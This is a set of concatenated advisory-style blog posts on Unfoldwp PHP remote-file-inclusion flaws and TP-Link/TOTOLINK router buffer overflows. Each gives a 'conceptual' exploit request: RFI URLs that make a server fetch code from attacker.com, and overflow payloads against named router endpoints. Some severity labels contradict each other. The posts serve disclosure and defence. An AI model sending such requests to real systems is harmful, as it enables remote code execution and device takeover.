Author: Ameeba

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical security flaw in Unfoldwp’s Magways software. The vulnerability, dubbed CVE-2025-49281, is a type of PHP Remote File Inclusion (RFI) vulnerability that allows for PHP Local File Inclusion (LFI). This type of vulnerability can have severe consequences, potentially leading to a complete compromise of the affected system or unauthorized access to sensitive data. It is particularly concerning because it affects all versions of the Magways software up to version 1.2.1, posing a significant risk to any organizations currently utilizing this software.

Vulnerability Summary

CVE ID: CVE-2025-49281
Severity: Critical (CVSS Score: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Unfoldwp Magways | Up to 1.2.1

How the Exploit Works

The vulnerability is due to improper control of the filename for ‘include’ and ‘require’ statements in PHP programs within the Magways software. This allows an attacker to include malicious scripts from remote servers, thereby executing arbitrary PHP code on the server running the vulnerable software. This could potentially lead to unauthorized access, data leakage, or even a complete system compromise.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. An attacker could craft a request similar to the one below, where “malicious_payload.php” is a script hosted on the attacker’s server:

GET /index.php?page=http://attacker.com/malicious_payload.php HTTP/1.1
Host: target.example.com

In this example, the attacker is exploiting the vulnerability by replacing the expected local file path with the URL of a malicious PHP script. When this request is processed by the server, the malicious script is included and executed.

Mitigation

The best course of action to mitigate this vulnerability is to apply the patch provided by the vendor as soon as possible. However, if immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These measures can help to block or alert on attempts to exploit this vulnerability while a more permanent solution is implemented.

Overview

CVE-2025-49280 is a vital vulnerability that affects Unfoldwp Magty – a widely utilized platform for creating professional websites. This vulnerability arises from improper control of filename for Include/Require statement in PHP Program, specifically a ‘PHP Remote File Inclusion’ (RFI) vulnerability. In essence, the vulnerability allows potential attackers to include local files from the server, leading to potential system compromise or data leakage. This vulnerability is of significant concern due to its high CVSS Severity Score and the substantial impact it could have on the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-49280
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Unfoldwp Magty | n/a through 1.0.6

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for Include/Require statement in a PHP Program. The PHP ‘include’ and ‘require’ statements are used to insert useful codes written in other files, in the flow of execution. In this particular case, an attacker could manipulate these statements to include files from a remote server, instead of local ones. Once the remote files are included, the attacker can execute arbitrary commands, possibly leading to full system control or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the attacker is requesting the ‘index.php’ page, but with a parameter (‘file’) pointing to a malicious script hosted on their own server (‘attacker.com’). The PHP ‘include’ or ‘require’ statement would then load and execute this remote file, causing the malicious script to be executed on the target server.

How to Mitigate the Vulnerability

To mitigate this vulnerability, users of Unfoldwp Magty should apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to detect and block attempts at exploiting this vulnerability, thereby protecting the system until the patch can be applied.
Remember, regular patching and updating of systems is a key aspect of maintaining a secure IT environment. Being proactive in addressing vulnerabilities can significantly reduce the risk of system compromise or data leakage.

Overview

This blog post focuses on a critical vulnerability, CVE-2025-49279, that affects the Unfoldwp Blogvy platform. This vulnerability pertains to the improper control of filename for include/require statement in PHP programs, also known as ‘PHP Remote File Inclusion’. This vulnerability poses a severe risk to user data and system integrity, as it could potentially lead to a system compromise or data leakage. It is of utmost importance for users and administrators of the Unfoldwp Blogvy platform to understand this vulnerability and take appropriate mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-49279
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogvy | n/a through 1.0.7

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when the platform fails to sufficiently sanitize user-supplied input. An attacker can manipulate the ‘include’ or ‘require’ statements in PHP, which are used to insert the content of one PHP file into another. By supplying a malicious filename, an attacker can command the vulnerable script to include a remote file hosted on an attacker-controlled server, thus leading to arbitrary code execution on the target server.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

GET /vulnerable_page.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In the example above, the attacker modifies the ‘file‘ parameter in the URL to point to a malicious PHP script hosted on their own server (attacker.com). When the server processes this request, it includes the malicious script, leading to arbitrary code execution.

Mitigation Guidance

The most effective mitigation for this vulnerability is to apply the vendor-supplied patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or alert on suspicious activity can serve as a temporary mitigation. Additionally, it is advisable to restrict the input of ‘include’ or ‘require’ statements to a list of safe, predefined values, rather than allowing user-supplied input.

Overview

A critical vulnerability, CVE-2025-49278, has been discovered within the Unfoldwp Blogty platform, a widely used blogging tool. This high-risk issue is a result of an improper control of filename for include/require statement in PHP programming, colloquially known as PHP Remote File Inclusion (RFI). The vulnerability has significant ramifications, as it allows PHP Local File Inclusion leading to potential system compromise or data leakage. Thus, it is essential for anyone using Blogty, up to version 1.0.11, to understand the implications and take immediate steps to secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-49278
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogty | Up to 1.0.11

How the Exploit Works

This vulnerability arises from a lack of proper sanitization of user-supplied input in the PHP include/require statements used in Unfoldwp Blogty. An attacker can manipulate these statements to include remote files that are executed in the context of the webserver. This can lead to unauthorized access, data leakage, or even a complete system compromise, depending on the permissions assigned to the webserver.

Conceptual Example Code

The following hypothetical HTTP request depicts how an attacker might leverage this vulnerability by sending a malicious payload through the vulnerable endpoint:

GET /vulnerable_page.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the attacker is attempting to include ‘malicious_file.txt’ hosted on their server. If the request is successful, the server will execute the content of ‘malicious_file.txt’, leading to a potential system compromise or data leakage.

Mitigation Guidance

As a matter of urgency, users of Unfoldwp Blogty should apply the latest vendor patch to mitigate this vulnerability. In situations where immediate patching is not feasible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by filtering potentially malicious traffic. However, these are merely temporary measures-applying the vendor’s patch remains the ultimate solution to this vulnerability.

Overview

A significant vulnerability, CVE-2025-49277, has been identified in the PHP program of Unfoldwp Blogprise. This vulnerability allows PHP Remote File Inclusion (RFI) to occur due to improper control of filename for Include/Require statement in PHP program. It affects all versions up to 1.0.9 of the Blogprise software. The potential impact of this vulnerability is significant, potentially leading to system compromise or data leakage. Thus, it is crucial for system administrators and cybersecurity professionals to understand the nature of this vulnerability, its potential impacts, and the necessary mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-49277
Severity: High (8.1/10)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogprise | Up to 1.0.9

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for Include/Require statement in PHP program of Unfoldwp Blogprise. An attacker can include a file from a remote server that contains malicious PHP code. When the file is included, the PHP code will be executed by the server. This could potentially allow an attacker to execute arbitrary commands or code, compromise the system, or cause a denial of service.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

POST /vulnerable/endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
file=http://attacker.com/malicious.php

In this example, the `file` parameter is used in an include statement in the `endpoint.php` file. The attacker has pointed it to `malicious.php` on their server, which contains the malicious code to be executed on the target server.

Recommended Mitigation Steps

To mitigate the risks associated with this vulnerability, the first step is to apply the vendor patch. If the patch is not immediately available or cannot be applied in a timely manner, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability. However, they should not be considered a long-term solution and the vendor patch should be applied as soon as it is available.
In addition to these mitigation techniques, it is also recommended to restrict access to the application to trusted networks. Limiting the interfaces and users that can interact with your server reduces the potential attack surface. Furthermore, regular audits and monitoring for unusual activity can help identify potential exploits early and limit their impact.

Overview

CVE-2025-49276 is a high severity vulnerability that pertains to Unfoldwp Blogmine, a popular blogging platform. This vulnerability arises due to an improper control of filename for include/require statements in the PHP program, which can lead to a PHP Local File Inclusion (LFI). Given the broad usage of the Blogmine platform, this vulnerability has the potential to impact a vast number of websites and their users.
The risk associated with this vulnerability is significant, as it has the potential to compromise systems or lead to data leakage. It is therefore imperative for system administrators and developers who utilize Blogmine to understand this vulnerability and take immediate steps for its mitigation.

Vulnerability Summary

CVE ID: CVE-2025-49276
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogmine | n/a through 1.1.7

How the Exploit Works

The vulnerability arises from the improper control of the filename in the include/require statements of a PHP program in Unfoldwp Blogmine. An attacker can exploit this vulnerability by manipulating the filename parameter in a PHP include/require statement to point to a remote file. This remote file can contain malicious PHP code that the server will execute.
This allows the attacker to execute arbitrary PHP code on the target server, potentially compromising the system’s integrity and confidentiality. The attacker could gain unauthorized access to sensitive data, manipulate content, or perform other unauthorized actions on the system.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. Here, the attacker manipulates the ‘page’ parameter to point to a remote file that contains malicious PHP code.

GET /index.php?page=http://attacker.com/malicious_code.txt HTTP/1.1
Host: vulnerable-website.com

The server would then fetch the malicious_code.txt file from the attacker’s server and execute the contained PHP code.

Mitigation Guidance

The recommended mitigation strategy for this vulnerability is to apply the vendor patch. Users of Unfoldwp Blogmine are advised to upgrade to the latest version as soon as possible. As a temporary mitigation, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used to block attempts to exploit this vulnerability. However, these are only temporary solutions, and a patch should be applied as soon as it is available.

Overview

A critical vulnerability denominated CVE-2025-6151, has been publicly disclosed and poses a significant risk to TP-Link TL-WR940N V4 router users. This vulnerability affects an unknown functionality of the file /userRpm/WanSlaacCfgRpm.htm and could potentially lead to system compromise or data leakage. Due to the high severity of this vulnerability, it is crucial for users and administrators to understand the nature of this security flaw and take immediate steps to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-6151
Severity: Critical (CVSS: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: No user interaction required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

TP-Link TL-WR940N | V4

How the Exploit Works

The vulnerability stems from an improper validation of the ‘dnsserver1’ argument within the /userRpm/WanSlaacCfgRpm.htm file. A remote attacker can exploit this vulnerability by sending a specifically crafted request that includes an oversized ‘dnsserver1’ argument. This triggers a buffer overflow condition in the router’s firmware leading to potential system compromise and data leakage.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit the vulnerability. Note that this is not a real exploit, but a representation of how the attack could theoretically occur.

GET /userRpm/WanSlaacCfgRpm.htm?dnsserver1=AAAAAAAA...[1K A's]...AAAA HTTP/1.1
Host: [Router IP]

In this example, ‘AAAAAAAA…[1K A’s]…AAAA’ represents an oversized ‘dnsserver1’ argument that is sent to the vulnerable endpoint causing the buffer overflow.

Mitigation Guidance

Users are strongly advised to apply the vendor’s patch to fix this vulnerability. In case the patch cannot be immediately applied, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation method. Additionally, users should consider disabling remote management of the router if it is not required, as the attack can be launched remotely.

Overview

The Common Vulnerabilities and Exposures system (CVE) has recently disclosed a critical vulnerability (CVE-2025-6150) affecting TOTOLINK X15 version 1.0.0-B20230714.1105 routers. This vulnerability is particularly alarming because of the potential for a remote attacker to execute arbitrary code, leading to system compromise or data leakage.
Given the widespread use of TOTOLINK routers in both domestic and commercial settings, this vulnerability could have far-reaching implications. If unpatched, it could potentially allow malicious actors to gain unauthorized access to sensitive information, disrupt network services, or even take full control of the compromised system.

Vulnerability Summary

CVE ID: CVE-2025-6150
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential for data leakage

Affected Products

Product | Affected Versions

TOTOLINK X15 | 1.0.0-B20230714.1105

How the Exploit Works

The critical vulnerability resides in an unknown functionality of the file /boafrm/formMultiAP of the HTTP POST Request Handler component in TOTOLINK X15. By manipulating the ‘submit-url’ argument in a HTTP POST request, an attacker can cause a buffer overflow condition.
A buffer overflow is a type of software vulnerability that exists when a region of a computer’s memory is filled with data beyond its capacity. In this particular vulnerability, the overflow of data can result in overwrite of adjacent memory locations, potentially leading to arbitrary code execution or system instability.

Conceptual Example Code

This is a conceptual example of how the vulnerability might be exploited in a HTTP POST request:

POST /boafrm/formMultiAP HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=AAAAAAAAAAAAAAAAAAAAAAAA...[long string of 'A's to cause overflow]

In this example, the ‘submit-url’ parameter is filled with a long string of ‘A’s to trigger the buffer overflow condition. This string could potentially be replaced with malicious code, enabling an attacker to execute arbitrary commands on the affected system.
It’s important to note that this is a conceptual example and actual exploitation would likely require more complex manipulation of the ‘submit-url’ parameter.

Overview

A critical vulnerability, labelled as CVE-2025-6149, has been identified in the TOTOLINK A3002R 4.0.0-B20230531.1404. This vulnerability lies in an unknown function of the file /boafrm/formSysLog in the HTTP POST Request Handler component. It poses a significant threat as it can lead to a buffer overflow, potentially compromising systems or leading to data leakage. Given its critical nature and the fact that this exploit has been disclosed to the public, immediate attention and mitigation is required.

Vulnerability Summary

CVE ID: CVE-2025-6149
Severity: Critical (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A3002R | 4.0.0-B20230531.1404

How the Exploit Works

The vulnerability is triggered when a malicious user manipulates the ‘submit-url’ argument in the HTTP POST request. This manipulation leads to a buffer overflow in the /boafrm/formSysLog file of the HTTP POST Request Handler component. Buffer overflows occur when more data is written into a block of memory, or buffer, than it can hold. This overflow of data can overwrite adjacent memory, leading to erratic program behavior, system crashes, or potential execution of malicious code.

Conceptual Example Code

Here’s a simplified, conceptual example of how the vulnerability might be exploited. This is a mock HTTP POST request containing a malicious payload that leads to the buffer overflow.

POST /boafrm/formSysLog HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=%2Fboafrm%2FformSysLog&malicious_payload=AAAA...[continues for a very long time]

In the above example, the ‘malicious_payload’ is a long string of ‘A’s that exceeds the buffer’s capacity, causing an overflow.

Recommended Mitigation

Users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation method to monitor and block any suspicious activities. Moreover, frequent system and data backups can be invaluable in the event of a successful exploit.

Overview

The vulnerability denoted as CVE-2025-6148 was discovered in TOTOLINK A3002RU 3.0.0-B20230809.1615. This vulnerability, rated as critical, presents a serious risk to IT infrastructures that employ this device. The flaw resides in a seemingly innocuous file, /boafrm/formSysLog, which is part of the HTTP POST Request Handler component.
The vulnerability’s impact is vast as it could allow a remote attacker to initiate an attack, potentially leading to system compromise or data leakage. Given the severity of this vulnerability, it’s vital for organizations to be informed and take appropriate actions to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-6148
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A3002RU | 3.0.0-B20230809.1615

How the Exploit Works

The vulnerability arises from a buffer overflow condition in the HTTP POST Request Handler component. Specifically, the flaw is triggered by the improper handling of the ‘submit-url’ argument in the /boafrm/formSysLog file.
An attacker can exploit this flaw by sending a specially crafted HTTP POST request with a manipulated ‘submit-url’ argument. This could overflow the buffer, allowing the attacker to execute arbitrary code or disrupt the normal function of the device, leading to potential system compromise or data leakage.

Conceptual Example Code

A conceptual example of the exploit may look something like this:

POST /boafrm/formSysLog HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=[MALICIOUS_PAYLOAD]

In this example, `[MALICIOUS_PAYLOAD]` would be a string crafted in a specific way that overflows the buffer.

Mitigation Measures

TOTOLINK is expected to release a patch to fix this vulnerability. It’s recommended that all users of the affected software apply this patch as soon as it’s available.
In the meantime, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block malicious HTTP POST requests. This can serve as a temporary mitigation measure until the patch is applied.